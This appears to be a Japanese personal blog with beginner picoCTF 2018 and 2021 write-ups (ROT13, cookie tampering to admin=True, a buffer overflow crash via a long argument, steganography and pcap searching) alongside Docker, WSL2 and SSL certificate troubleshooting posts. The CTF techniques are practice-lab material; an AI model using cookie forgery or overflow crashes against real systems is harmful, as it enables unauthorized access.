picoCTF 2021 Crypto (1)

暇つぶしにpicoCTF 2021を解いていく。

Mod 26
| 10 points
Tags:
AUTHOR: PANDU

Description
Cryptography can be easy, do you know what ROT13 is? cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_nSkgmDJE}

# cat 01.txt 
cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_nSkgmDJE}

exploit.py

qfile = "01.txt"
buf = open(qfile).read()

def rotn(text, n):
    _buf = ''
    for c in text:
        if not(ord('A') <= ord(c) <= ord('Z') or ord('a') <= ord(c) <= ord('z')):
            _buf += c
            continue
        offset = ord('A') if ord(c) < ord('a') else ord('a')
        _buf += chr((ord(c) - offset + n) % 26 + offset)

    return _buf

# ROT 13
print("ROT 13: " + rotn(buf, 13))

# 2 rounds of ROT13
print("2 rounds of ROT13: " + rotn(rotn(buf, 13),13))
# python3 exploit.py 
ROT 13: picoCTF{next_time_I'll_try_2_rounds_of_rot13_aFxtzQWR}


2 rounds of ROT13: cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_nSkgmDJE}

当然だが、ROT13を2回かけたら元に戻る(ROT 13 * ROT13 = ROT26 = ROT0)。

JupyterLab on Docker on Ubuntu 20.04 on WSL2

Docker Desktop for Windowsのインストールまでは前回。
kanekkie.hatenablog.com

anaconda3コンテナの入手。
hub.docker.com

$ docker pull continuumio/anaconda3
Using default tag: latest
latest: Pulling from continuumio/anaconda3
68ced04f60ab: Pull complete
57047f2400d7: Pull complete
8b26dd278326: Pull complete
Digest: sha256:6502693fd278ba962af34c756ed9a9f0c3b6236a62f1e1fecb41f60c3f536d3c
Status: Downloaded newer image for continuumio/anaconda3:latest
docker.io/continuumio/anaconda3:latest

起動。
オプションなどはこの辺を参考。
qiita.com
mick3355-dev.hatenablog.com

$ cd ~
$ mkdir workspace
$ docker run -it -p 8888:8888 -v $(pwd):/opt/notebooks continuumio/anaconda3 /bin/bash -c "/opt/conda/bin/jupyter lab --notebook-dir=/opt/notebooks --ip='*' --port=8888 --no-browser --allow-root"
[I 15:06:45.627 LabApp] Writing notebook server cookie secret to /root/.local/share/jupyter/runtime/notebook_cookie_secret
[W 15:06:45.761 LabApp] WARNING: The notebook server is listening on all IP addresses and not using encryption. This is not recommended.
[I 15:06:45.766 LabApp] JupyterLab extension loaded from /opt/conda/lib/python3.7/site-packages/jupyterlab
[I 15:06:45.766 LabApp] JupyterLab application directory is /opt/conda/share/jupyter/lab
[I 15:06:45.768 LabApp] Serving notebooks from local directory: /opt/notebooks
[I 15:06:45.768 LabApp] The Jupyter Notebook is running at:
[I 15:06:45.768 LabApp] http://53249cd5486a:8888/?token=09f221636739c75fe67f0204d7b85b1df18e4986e26b0c51
[I 15:06:45.769 LabApp]  or http://127.0.0.1:8888/?token=09f221636739c75fe67f0204d7b85b1df18e4986e26b0c51
[I 15:06:45.769 LabApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[C 15:06:45.771 LabApp]

    To access the notebook, open this file in a browser:
        file:///root/.local/share/jupyter/runtime/nbserver-1-open.html
    Or copy and paste one of these URLs:
        http://53249cd5486a:8888/?token=09f221636739c75fe67f0204d7b85b1df18e4986e26b0c51
     or http://127.0.0.1:8888/?token=09f221636739c75fe67f0204d7b85b1df18e4986e26b0c51

出てきたURLにアクセスすればいつもの画面が表示される。
f:id:kanekkie:20200603002326p:plain

WSL2とDocker

Windows 10のMay 2020 Updateが来たのでWSL2に挑戦。
新たな環境を作るということで、Ubuntu 20.04 on WSL2を用意。
このページあたりを参考にしてやればすぐできる。
qiita.com


次はDocker。Docker Desktop for Windowsをインストール。
Docker Hub
"Enable WSL 2 Windows Features"をチェックしておく。
f:id:kanekkie:20200530113805p:plain
インストール完了後にWindowsからのログアウトが必要。
f:id:kanekkie:20200530114049p:plain

設定画面で、Resource > WSL INTEGRATIONで、Ubuntu-20.04をオンにする(画像ではオフ)。
f:id:kanekkie:20200530114457p:plain

Ubuntuからdockerを起動してみる。

$ docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
0e03bdcc26d7: Pull complete
Digest: sha256:6a65f928fb91fcfbc963f7aa6d57c8eeb426ad9a20c7ee045538ef34847f44f1
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/

とりあえず動いてるっぽい(?)

SSLErrorではまったおはなし (1)

HTTPSサイトにアクセスしたらエラーが出た。

import requests
url = 'https://www.eigeki.com/'
r = requests.get(url)
Traceback (most recent call last):
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/contrib/pyopenssl.py", line 453, in wrap_socket
    cnx.do_handshake()
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/OpenSSL/SSL.py", line 1915, in do_handshake
    self._raise_ssl_error(self._ssl, result)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/OpenSSL/SSL.py", line 1647, in _raise_ssl_error
    _raise_current_error()
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/OpenSSL/_util.py", line 54, in exception_from_error_queue
    raise exception_type(errors)
OpenSSL.SSL.Error: [('SSL routines', 'ssl3_get_server_certificate', 'certificate verify failed')]

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/connectionpool.py", line 600, in urlopen
    chunked=chunked)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/connectionpool.py", line 343, in _make_request
    self._validate_conn(conn)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/connectionpool.py", line 839, in _validate_conn
    conn.connect()
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/connection.py", line 344, in connect
    ssl_context=context)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/util/ssl_.py", line 344, in ssl_wrap_socket
    return context.wrap_socket(sock, server_hostname=server_hostname)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/contrib/pyopenssl.py", line 459, in wrap_socket
    raise ssl.SSLError('bad handshake: %r' % e)
ssl.SSLError: ("bad handshake: Error([('SSL routines', 'ssl3_get_server_certificate', 'certificate verify failed')])",)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/requests/adapters.py", line 449, in send
    timeout=timeout
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/connectionpool.py", line 638, in urlopen
    _stacktrace=sys.exc_info()[2])
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/urllib3/util/retry.py", line 398, in increment
    raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='www.eigeki.com', port=443): Max retries exceeded with url: / (Caused by SSLError(SSLError("bad handshake: Error([('SSL routines', 'ssl3_get_server_certificate', 'certificate verify failed')])")))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/requests/api.py", line 60, in request
    return session.request(method=method, url=url, **kwargs)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/requests/sessions.py", line 533, in request
    resp = self.send(prep, **send_kwargs)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/requests/sessions.py", line 646, in send
    r = adapter.send(request, **kwargs)
  File "/home/kanekkie/anaconda3/lib/python3.7/site-packages/requests/adapters.py", line 514, in send
    raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='www.eigeki.com', port=443): Max retries exceeded with url: / (Caused by SSLError(SSLError("bad handshake: Error([('SSL routines', 'ssl3_get_server_certificate', 'certificate verify failed')])")))

Chromeでアクセスすると普通に見られるが、Firefoxでは見られない。。
opensslでチェックしてみると

$ openssl s_client -connect www.eigeki.com:443
CONNECTED(00000003)
depth=0 C = JP, ST = Tokyo, L = Chuo-ku, OU = The personnel affairs general affairs department, O = "SHOCHIKU CO., LTD.", CN = www.eigeki.com
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 C = JP, ST = Tokyo, L = Chuo-ku, OU = The personnel affairs general affairs department, O = "SHOCHIKU CO., LTD.", CN = www.eigeki.com
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
 0 s:/C=JP/ST=Tokyo/L=Chuo-ku/OU=The personnel affairs general affairs department/O=SHOCHIKU CO., LTD./CN=www.eigeki.com
   i:/C=BE/O=GlobalSign nv-sa/CN=GlobalSign RSA OV SSL CA 2018
---

verify error:num=20:unable to get local issuer certificate, verify error:num=21:unable to verify the first certificateとなってるので、1つめの証明書=サーバ証明書が検証できてないですね。証明書チェーンが1つしかないので、CN=GlobalSign RSA OV SSL CA 2018の証明書が原因っぽい。。
どうやら、Chromeにはこの中間証明書がインストールされてるけど、Firefoxには入ってないっぽい。

そこで、以下のサイトを参考に中間証明書を追加。
hideharaaws.hatenablog.com
証明書は
jp.globalsign.com
から入手。

$ sudo wget -P /usr/share/ca-certificates/ https://jp.globalsign.com/repository/common/cer/gsrsaovsslca2018.cer
--2020-03-14 10:13:07--  https://jp.globalsign.com/repository/common/cer/gsrsaovsslca2018.cer
jp.globalsign.com (jp.globalsign.com) をDNSに問いあわせています... 104.18.133.31, 104.18.132.31, 2606:4700::6812:851f, ...
jp.globalsign.com (jp.globalsign.com)|104.18.133.31|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 1120 (1.1K) [application/pkix-cert]
`/usr/share/ca-certificates/gsrsaovsslca2018.cer' に保存中

gseccovsslca2018.ce 100%[===================>]   1.09K  --.-KB/s    時間 0s    

2020-03-14 10:13:07 (8.12 MB/s) - `/usr/share/ca-certificates/gsrsaovsslca2018.cer' へ保存完了 [1120/1120]

$ ls /usr/share/ca-certificates/
gsrsaovsslca2018.cer  mozilla
$ sudo sh -c "echo 'gsrsaovsslca2018.cer' >> /etc/ca-certificates.conf"
$ tail /etc/ca-certificates.conf 
mozilla/VeriSign_Universal_Root_Certification_Authority.crt
mozilla/Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.crt
mozilla/Visa_eCommerce_Root.crt
mozilla/XRamp_Global_CA_Root.crt
mozilla/certSIGN_ROOT_CA.crt
mozilla/ePKI_Root_Certification_Authority.crt
mozilla/thawte_Primary_Root_CA.crt
mozilla/thawte_Primary_Root_CA_-_G2.crt
mozilla/thawte_Primary_Root_CA_-_G3.crt
gsrsaovsslca2018.cer
$ sudo update-ca-certificates
Updating certificates in /etc/ssl/certs...
1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
done.

とりあえず解決したっぽい??

$  openssl s_client -connect www.eigeki.com:443
CONNECTED(00000005)
depth=2 OU = GlobalSign Root CA - R3, O = GlobalSign, CN = GlobalSign
verify return:1
depth=1 C = BE, O = GlobalSign nv-sa, CN = GlobalSign RSA OV SSL CA 2018
verify return:1
depth=0 C = JP, ST = Tokyo, L = Chuo-ku, OU = The personnel affairs general affairs department, O = "SHOCHIKU CO., LTD.", CN = www.eigeki.com
verify return:1
---
Certificate chain
 0 s:C = JP, ST = Tokyo, L = Chuo-ku, OU = The personnel affairs general affairs department, O = "SHOCHIKU CO., LTD.", CN = www.eigeki.com
   i:C = BE, O = GlobalSign nv-sa, CN = GlobalSign RSA OV SSL CA 2018
---
Server certificate
-----BEGIN CERTIFICATE-----
### 省略 ###
-----END CERTIFICATE-----
subject=C = JP, ST = Tokyo, L = Chuo-ku, OU = The personnel affairs general affairs department, O = "SHOCHIKU CO., LTD.", CN = www.eigeki.com

issuer=C = BE, O = GlobalSign nv-sa, CN = GlobalSign RSA OV SSL CA 2018

---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA
Server Temp Key: DH, 1024 bits
---
SSL handshake has read 2633 bytes and written 506 bytes
Verification: OK
---
New, TLSv1.2, Cipher is DHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : DHE-RSA-AES128-GCM-SHA256
    Session-ID: 6B0588D034DCBB146CCE762B5EAD954964851D463C3BC2AAE55E8AD3C70E4476
    Session-ID-ctx: 
    Master-Key: D7686744A28201CC3F013F07CB0B3A76EC09CD8E3EB76811EB2CCCE40C759B6174B4BEC7D9EF281BF4B536D8F290D884
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
### 省略 ###

    Start Time: 1584180854
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no
---

$ wget -v https://www.eigeki.com
--2020-03-14 11:08:36--  https://www.eigeki.com/
www.eigeki.com (www.eigeki.com) をDNSに問いあわせています... 133.18.5.93
www.eigeki.com (www.eigeki.com)|133.18.5.93|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 特定できません [text/html]
`index.html' に保存中

index.html              [  <=>               ] 170.38K   416KB/s    時間 0.4s  

2020-03-14 11:08:37 (416 KB/s) - `index.html' へ保存終了 [174473]

Verify return code: 0 (ok)だし、これで解決!
と思ったものの・・・
anaconda環境内ではまだ動かず。。

$ openssl s_client -connect www.eigeki.com:443
CONNECTED(00000003)
depth=0 C = JP, ST = Tokyo, L = Chuo-ku, OU = The personnel affairs general affairs department, O = "SHOCHIKU CO., LTD.", CN = www.eigeki.com
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 C = JP, ST = Tokyo, L = Chuo-ku, OU = The personnel affairs general affairs department, O = "SHOCHIKU CO., LTD.", CN = www.eigeki.com
verify error:num=21:unable to verify the first certificate
verify return:1
---
### 以下略 ###

どうやら、anacondaが持ってるcacert.pemが悪いらしい?!

$ curl -v https://www.eigeki.com
* Rebuilt URL to: https://www.eigeki.com/
*   Trying 133.18.5.93...
* TCP_NODELAY set
* Connected to www.eigeki.com (133.18.5.93) port 443 (#0)
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
*   CAfile: /home/kanekkie/anaconda3/ssl/cacert.pem
  CApath: none
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS alert, Server hello (2):
* SSL certificate problem: unable to get local issuer certificate
* Closing connection 0
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.haxx.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

ここまでやって疲れたので、とりあえず強制的に証明書ディレクトリを読ませるようにして、一時的に回避

>>> r = requests.get(url, verify="/etc/ssl/certs/ca-certificates.crt")
>>> r
<Response [200]>

気が向いたら続きを書く、かも・・・

picoCTF 2018 (2)

grep 2

上の方の"shell"っていうリンクからサーバには入れるらしい。

$ cd /problems/grep-2_3_826f886f547acb8a9c3fccb030e8168d/files
$ ls
files0 files1 files2 files3 file4 files5 files6 files7 files8 files9

ディレクトリがいっぱいあるのでとりあえずgrepしたら簡単に見つかった。

$ grep pico -r ./*
./files8/file14:picoCTF{...}

Aca-Shell-A

$ nc 2018shell.picoctf.com 58422
Sweet! We have gotten access into the system but we aren't root.
It's some sort of restricted shell! I can't see what you are typing
but I can see your output. I'll be here to help you along.
If you need help, type "echo 'Help Me!'" and I'll see what I can do
There is not much time left!
~/$ echo 'Help Me!'
Help Me!
You got this! Have you looked for any  directories?
~/$ ls
blackmail
executables
passwords
photos
secret
~/$ cd secret
Now we are cookin'! Take a look around there and tell me what you find!
~/secret$ ls
intel_1
intel_2
intel_3
intel_4
intel_5
profile_ahqueith5aekongieP4ahzugi
profile_ahShaighaxahMooshuP1johgo
profile_aik4hah9ilie9foru0Phoaph0
profile_AipieG5Ua9aewei5ieSoh7aph
profile_bah9Ech9oa4xaicohphahfaiG
profile_ie7sheiP7su2At2ahw6iRikoe
profile_of0Nee4laith8odaeLachoonu
profile_poh9eij4Choophaweiwev6eev
profile_poo3ipohGohThi9Cohverai7e
profile_Xei2uu5suwangohceedaifohs
Sabatoge them! Get rid of all their intel files!
~/secret$ rm intel*
Nice! Once they are all gone, I think I can drop you a file of an exploit!
Just type "echo 'Drop it in!' " and we can give it a whirl!
~/secret$ echo 'Drop it in!'
Drop it in!
I placed a file in the executables folder as it looks like the only place we can execute from!
Run the script I wrote to have a little more impact on the system!
~/secret$ cd ..
~/$ cd executables
~/executables$ ls
dontLookHere
~/executables$ ./dontLookHere               
 edea ced2 6120 5855 2084 b4e7 3122 e6e5 0b2c a938 bfb4 3f57 8322 9105 8c81 7676 f18c 7d2d ecbc f758 9fb3 1f5c aa42 5518 9556
 c2b1 86d5 22dc 879c 44a4 1280 ecbe b9a1 e18c a5cb 522d 3224 06d1 aee6 20ef 5257 4c15 7ab0 1c15 177c 6d76 d746 79dd 632c 929b
...
Looking through the text above, I think I have found the password. I am just having trouble with a username.
Oh drats! They are onto us! We could get kicked out soon!
Quick! Print the username to the screen so we can close are backdoor and log into the account directly!
You have to find another way other than echo!
~/executables$ whoami
l33th4x0r
Perfect! One second!
Okay, I think I have got what we are looking for. I just need to to copy the file to a place we can read.
Try copying the file called TopSecret in tmp directory into the passwords folder.
~/executables$ cd ..             
~/$ cp /tmp/TopSecret passwords
Server shutdown in 10 seconds...
Quick! go read the file before we lose our connection!
~/$ cd passwords
~/passwords$ ls
TopSecret
~/passwords$ cat TopSecret
Major General John M. Schofield's graduation address to the graduating class of 1879 at West Point is as follows: The discipline which makes the soldiers of a free country reliable in battle is not to be gained by harsh or tyrannical treatment.On the contrary, such treatment is far more likely to destroy than to make an army.It is possible to impart instruction and give commands in such a manner and such a tone of voice as to inspire in the soldier no feeling butan intense desire to obey, while the opposite manner and tone of voice cannot fail to excite strong resentment and a desire to disobey.The one mode or other of dealing with subordinates springs from a corresponding spirit in the breast of the commander.He who feels the respect which is due to others, cannot fail to inspire in them respect for himself, while he who feels,and hence manifests disrespect towards others, especially his subordinates, cannot fail to inspire hatred against himself.
picoCTF{...}

Client Side is Still Bad

$ wget http://2018shell.picoctf.com:55790/ -O html
$ cat html
<html>
<head>
<title>Super Secure Log In</title>
</head>
<body bgcolor="#000000">
<!-- standard MD5 implementation -->
<script type="text/javascript" src="md5.js"></script>

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == '...') {
        if (checkpass.substring(split*5, split*6) == '...') {
         if (checkpass.substring(split*4, split*5) == '...') {
          if (checkpass.substring(split*3, split*4) == '...') {
            if (checkpass.substring(split*2, split*3) == '...') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }
</script>
<div style="position:relative; padding:5px;top:50px; left:38%; width:350px; height:140px; background-color:red">
<div style="text-align:center">
<p>Welcome to the Secure Login Server.</p>
<p>Please enter your credentials to proceed</p>
<form action="index.html" method="post">
<input type="password" id="pass" size="8" />
<br/>
<input type="submit" value="Log in" onclick="verify(); return false;" />
</form>
</div>
</div>
</body>
</html>

verify()内で正解文字列と比較している

Desrouleaux

$ nc 2018shell.picoctf.com 10493
You'll need to consult the file `incidents.json` to answer the following questions.


What is the most common source IP address? If there is more than one IP address that is the most common, you may give any of the most common ones.

How many unique destination IP addresses were targeted by the source IP address 189.229.254.207?

What is the number of unique destination ips a file is sent, on average? Needs to be correct to 2 decimal places.

incidents.jsonに関する質問が3つ出てくる。2つめの質問はランダムにソースIPが指定されるっぽい。
めんどいのでてきとーに解かせる。

import socket
import re
import json

HOSTNAME = "2018shell.picoctf.com"
PORTNUM = 10493
 
class Netcat:
    """ Python 'netcat like' module """
    def __init__(self, ip, port):
        self.buff = ""
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.connect((ip, port))
    def read(self, length = 1024):
        """ Read 1024 bytes off the socket """
        return self.socket.recv(length).decode()
    def read_until(self, data):
        """ Read data into the buffer until we have data """
        while not data in self.buff:
            self.buff += self.socket.recv(1024).decode()
        pos = self.buff.find(data)
        rval = self.buff[:pos + len(data)]
        self.buff = self.buff[pos + len(data):]
        return rval
    def write(self, data):
        self.socket.send(data.encode())
    def close(self):
        self.socket.close()

FILEPATH = "incidents.json"
with open(FILEPATH) as f:
    buf = f.read()
json_dict = json.loads(buf)

ticket_num_by_src = {}
for t in json_dict["tickets"]:
    if t["src_ip"] in ticket_num_by_src:
        ticket_num_by_src[t["src_ip"]] += 1
    else:
        ticket_num_by_src[t["src_ip"]] = 1
sorted(ticket_num_by_src.items(), key=lambda x: x[1])

unique_dst_by_file = {}
for t in json_dict["tickets"]:
    if t["file_hash"] in unique_dst_by_file:
        if t["dst_ip"] not in unique_dst_by_file[t["file_hash"]]:
            unique_dst_by_file[t["file_hash"]] += [t["dst_ip"]]
    else:
        unique_dst_by_file[t["file_hash"]] = [t["dst_ip"]]
cnt = 0
for v in unique_dst_by_file.values():
    cnt += len(v)
avg_unique_dst_ip = cnt/len(unique_dst_by_file)

nc = Netcat(HOSTNAME, PORTNUM)

# You'll need to consult the file `incidents.json` to answer the following questions.
#
# What is the most common source IP address? If there is more than one IP address that is the most common, you may give any of the most common ones.
msg = nc.read_until('you may give any of the most common ones.')
nc.write(list(ticket_num_by_src.keys())[0] + "\n")

# How many unique destination IP addresses were targeted by the source IP address 189.229.254.207?
msg = nc.read_until('by the source IP address ')
expr = nc.read_until('?')
m = re.match(r'(\d+\.\d+\.\d+\.\d+)', expr)
src_ipaddr = m.group(1)
nc.write(str(ticket_num_by_src[src_ipaddr]) + "\n")

# What is the number of unique destination ips a file is sent, on average? Needs to be correct to 2 decimal places.
msg = nc.read_until('Needs to be correct to 2 decimal places.')
nc.write("{:.2f}".format(avg_unique_dst_ip) + "\n")
print(nc.read())

nc.close()

Netcatクラスは、以下を参照してほぼコピペ。
CTF4b 2018 writeup - しばイヌとお茶
Python Netcat · GitHub
※ただし、byte列のencode/decodeのみ追加。

$ python3 solver.py 
Correct!


Great job. You've earned the flag: picoCTF{...}

Logon

とりあえずURLにアクセスしてみると、ログインフォームがある。よくわからんのでとりあえず"Sign in"を押してみると以下のようなレスポンス。

HTTP/1.1 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 217
Location: http://2018shell.picoctf.com:37861/flag
Set-Cookie: password=; Path=/
Set-Cookie: username=; Path=/
Set-Cookie: admin=False; Path=/

そして、遷移先には"No flag for you"と表示されている。
どうみてもcookieがあやしいのでadmin=Trueにしてさいどアクセスしてみると・・・
今度は無事にフラグが表示された。めでたしめでたし。

Reading Between the Eyes

$ sudo apt-get install ruby
$ sudo gem install zsteg
$ zsteg husky.png 
b1,r,lsb,xy         .. text: "^5>c[rvyzrf@"
b1,rgb,lsb,xy       .. text: "picoCTF{...}"
b1,abgr,msb,xy      .. file: PGP\011Secret Sub-key -
b2,g,msb,xy         .. text: "ADTU@PEPA"
b3,abgr,msb,xy      .. text: "t@Wv!Wt\tGtA"
b4,r,msb,xy         .. text: "0Tt7F3Saf"
b4,g,msb,xy         .. text: "2g'uV `3"
b4,b,lsb,xy         .. text: "##3\"TC%\"2f"
b4,b,msb,xy         .. text: " uvb&b@f!"
b4,rgb,lsb,xy       .. text: "1C5\"RdWD"
b4,rgb,msb,xy       .. text: "T E2d##B#VuQ`"
b4,bgr,lsb,xy       .. text: "A%2RTdGG"
b4,bgr,msb,xy       .. text: "EPD%4\"c\"#CUVqa "
b4,rgba,lsb,xy      .. text: "?5/%/d_tO"
b4,abgr,msb,xy      .. text: "EO%O#/c/2/C_e_q"

Recovering From the Snap

$ foremost -v animals.dd 
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Wed Feb  6 23:08:35 2019
Invocation: foremost -v animals.dd 
Output directory: /home/kanekkie/Documents/ctf/pico/Recovering_From_the_Snap/output
Configuration file: /etc/foremost.conf
Processing: animals.dd
|------------------------------------------------------------------
File: animals.dd
Start: Wed Feb  6 23:08:35 2019
Length: 10 MB (10485760 bytes)
 
Num	 Name (bs=512)	       Size	 File Offset	 Comment 

0:	00000077.jpg 	     617 KB 	      39424 	 
1:	00001313.jpg 	     481 KB 	     672256 	 
2:	00002277.jpg 	     380 KB 	    1165824 	 
3:	00003041.jpg 	     248 KB 	    1556992 	 
4:	00003541.jpg 	     314 KB 	    1812992 	 
5:	00004173.jpg 	     458 KB 	    2136576 	 
6:	00005093.jpg 	     383 KB 	    2607616 	 
7:	00005861.jpg 	      39 KB 	    3000832 	 
*|
Finish: Wed Feb  6 23:08:36 2019

8 FILES EXTRACTED
	
jpg:= 8
------------------------------------------------------------------

Foremost finished at Wed Feb  6 23:08:36 2019

あとはjpgを見ればフラグがある。
foremost便利ですね

admin panel

$ wget --no-check-certificate https://2018shell.picoctf.com/static/ee6ed2afe1da153ae06e61d5ee26d52d/data.pcap
$ grep pico data.pcap 
バイナリファイル data.pcap に一致しました
$ grep --binary-files=text pico data.pcap
user=admin&password=picoCTF{...}�zB[�ABB
                                                        )y��
                                                            )�E4�@@��������P�~.[��29��~

とりあえずgrepしてみたら見つかった

assembly-0

asm0(0xc9,0xb0) の返り値がフラグ(picoCTF{}の形式じゃなく、"0x..")
アセンブリが配られてるので読むだけ。

$ cat intro_asm_rev.S 
.intel_syntax noprefix
.bits 32
	
.global asm0

asm0:
	push	ebp
	mov	ebp,esp
	mov	eax,DWORD PTR [ebp+0x8]
	mov	ebx,DWORD PTR [ebp+0xc]
	mov	eax,ebx
	mov	esp,ebp
	pop	ebp	
	ret

buffer overflow 0

ソースコードが配られるのでながめてみる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  if (argc > 1) {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
    printf("This program takes 1 argument.\n");
  return 0;
}

SEGVのハンドラ(sigsegv_handler)に到達するとflagが表示されるっぽい。
どこでSEGVを出すかだが、(名前からしても)vulnだろう。
char buf[16]にargv[1]が入るので、長い引数を渡せばよさそう。

kanekkie@pico-2018-shell:~$ cd /problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17       
kanekkie@pico-2018-shell:/problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17$ python -c 'print "0" * 23' | xargs
 ./vuln
Thanks! Received: 00000000000000000000000
kanekkie@pico-2018-shell:/problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17$ python -c 'print "0" * 24' | xargs
 ./vuln                                                                                                                    
xargs: ./vuln: terminated by signal 11                                                                                     
kanekkie@pico-2018-shell:/problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17$ python -c 'print "0" * 25' | xargs
 ./vuln                                                                                                                    
xargs: ./vuln: terminated by signal 11                                                                                     
kanekkie@pico-2018-shell:/problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17$ python -c 'print "0" * 26' | xargs
 ./vuln                                                                                                                    
xargs: ./vuln: terminated by signal 11                                                                                     
kanekkie@pico-2018-shell:/problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17$ python -c 'print "0" * 27' | xargs
 ./vuln                                                                                                                    
xargs: ./vuln: terminated by signal 11                                                                                     
kanekkie@pico-2018-shell:/problems/buffer-overflow-0_3_d5263c5219b334339c34ac35c51c4a17$ python -c 'print "0" * 28' | xargs
 ./vuln                                                                                                                    
picoCTF{...}                                                                                 

24文字からsignal 11 (SEGV?) が出て、28文字でフラグが表示された。

caesar cipher 1

$ cat ciphertext 
picoCTF{vgefmsaapaxpomqemdoubtqdxoaxypeo}

よくわからないのでとりあえずROT0-25を出してみる。

CT_PATH = "ciphertext"

# only for small letters
def rotn(t, n):
    return "".join([chr((ord(c) - ord("a") + n) % 26 + ord("a")) for c in t])

with open(CT_PATH) as f:
    ct = f.read()

for i in range(26):
    print("ROT {:2d}: {}{}{}".format(i, ct[:8], rotn(ct[8:-1], i), ct[-1:]))
$ python3 caesar_cipher_1.py 
